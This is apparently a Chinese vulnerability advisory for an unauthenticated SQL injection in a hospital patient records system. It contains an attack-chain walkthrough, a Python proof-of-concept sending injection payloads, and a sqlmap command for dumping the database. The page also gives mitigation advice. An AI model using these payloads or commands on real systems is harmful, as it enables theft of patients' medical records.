IPBUF安全漏洞报告
English
CVE-2026-9355 CVSS 7.3 高危

CVE-2026-9355 SourceCodester医院病历管理系统save_patient_history SQL注入漏洞

披露日期: 2026-05-24

漏洞信息

漏洞编号
CVE-2026-9355
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Hospitals Patient Records Management System 1.0

相关标签

SQL注入CVE-2026-9355SourceCodester医院病历管理系统高危漏洞远程攻击无需认证Web安全

漏洞概述

CVE-2026-9355是SourceCodester医院病历管理系统1.0版本中的一个高危SQL注入漏洞。该漏洞存在于/classes/Master.php文件的save_patient_history功能中,由于对ID参数缺乏有效的输入过滤和参数化查询,攻击者可以通过构造恶意SQL语句实现数据库注入攻击。此漏洞无需任何认证即可被利用,攻击者可通过网络远程发起攻击,成功利用后可获取数据库中的敏感患者信息,包括个人隐私数据、病历记录等。CVSS评分7.3,属于高危漏洞,对系统机密性、完整性和可用性均造成一定影响。该漏洞已于2026年5月24日披露,公开的利用代码可能已被广泛传播,建议相关单位立即采取修复措施。

技术细节

漏洞存在于SourceCodester医院病历管理系统的/classes/Master.php文件中,具体为save_patient_history函数。该函数在处理用户提交的ID参数时,直接将参数值拼接到SQL查询语句中,未进行任何输入验证或使用参数化查询。攻击者可通过GET或POST请求,向/classes/Master.php?f=save_patient_history端点提交包含恶意SQL代码的ID参数。典型的利用方式包括:使用UNION SELECT获取数据库版本、用户信息;使用布尔型盲注逐字符提取数据库内容;使用时间型盲注在无回显情况下获取数据。攻击者可通过自动化工具如sqlmap快速利用此漏洞,获取完整的数据库权限。由于该系统管理大量敏感的患者医疗信息,数据泄露将造成严重的隐私安全风险。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标网站使用的SourceCodester医院病历管理系统1.0版本,确认系统存在/classes/Master.php端点
STEP 2
步骤2: 漏洞探测
访问/classes/Master.php?f=save_patient_history端点,使用基本SQL注入payload如单引号测试是否存在注入点
STEP 3
步骤3: 注入点确认
通过布尔型盲注或错误回显确认ID参数存在SQL注入漏洞,可注入恶意SQL代码
STEP 4
步骤4: 数据库枚举
使用UNION SELECT或盲注技术获取数据库结构,包括表名、列名等敏感信息
STEP 5
步骤5: 数据提取
构造SQL查询语句提取患者敏感信息,如姓名、联系方式、病历记录、诊断结果等隐私数据
STEP 6
步骤6: 持久化控制
进一步利用可写入恶意代码或创建管理员账户,实现对系统的持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-9355 SQL Injection PoC # Target: SourceCodester Hospitals Patient Records Management System 1.0 # Endpoint: /classes/Master.php?f=save_patient_history def sql_injection_test(target_url, payload): """Test for SQL injection vulnerability""" params = { 'f': 'save_patient_history', 'id': payload } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve-2026-9355.py <target_url>") print("Example: python cve-2026-9355.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') url = f"{target}/classes/Master.php" # Basic test payloads test_payloads = [ "1' OR '1'='1", # Basic boolean-based injection "1' UNION SELECT NULL--", # Union-based injection "1' AND SLEEP(5)--", # Time-based blind injection ] print(f"[*] Testing CVE-2026-9355 SQL Injection on {url}") print(f"[*] Target endpoint: /classes/Master.php?f=save_patient_history") for i, payload in enumerate(test_payloads, 1): print(f"\n[*] Test {i}: {payload}") result = sql_injection_test(url, payload) if result: print(f"[+] Response received, length: {len(result)}") # Check for SQL error messages if 'sql' in result.lower() or 'error' in result.lower(): print("[!] Potential SQL error detected") print("\n[*] Use sqlmap for comprehensive exploitation:") print(f"sqlmap -u '{url}?f=save_patient_history&id=1' --dbs") if __name__ == "__main__": main()

影响范围

SourceCodester Hospitals Patient Records Management System 1.0

防御指南

临时缓解措施
在官方修复方案发布前,建议采取以下临时缓解措施:1)使用Web应用防火墙对/classes/Master.php端点进行访问控制,拦截异常SQL语句;2)对数据库账户权限进行限制,移除不必要的写操作权限;3)启用数据库操作日志审计,及时发现异常查询行为;4)临时关闭save_patient_history功能或限制只有授权用户可访问;5)部署入侵检测系统监控可疑的网络流量和SQL注入尝试特征。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表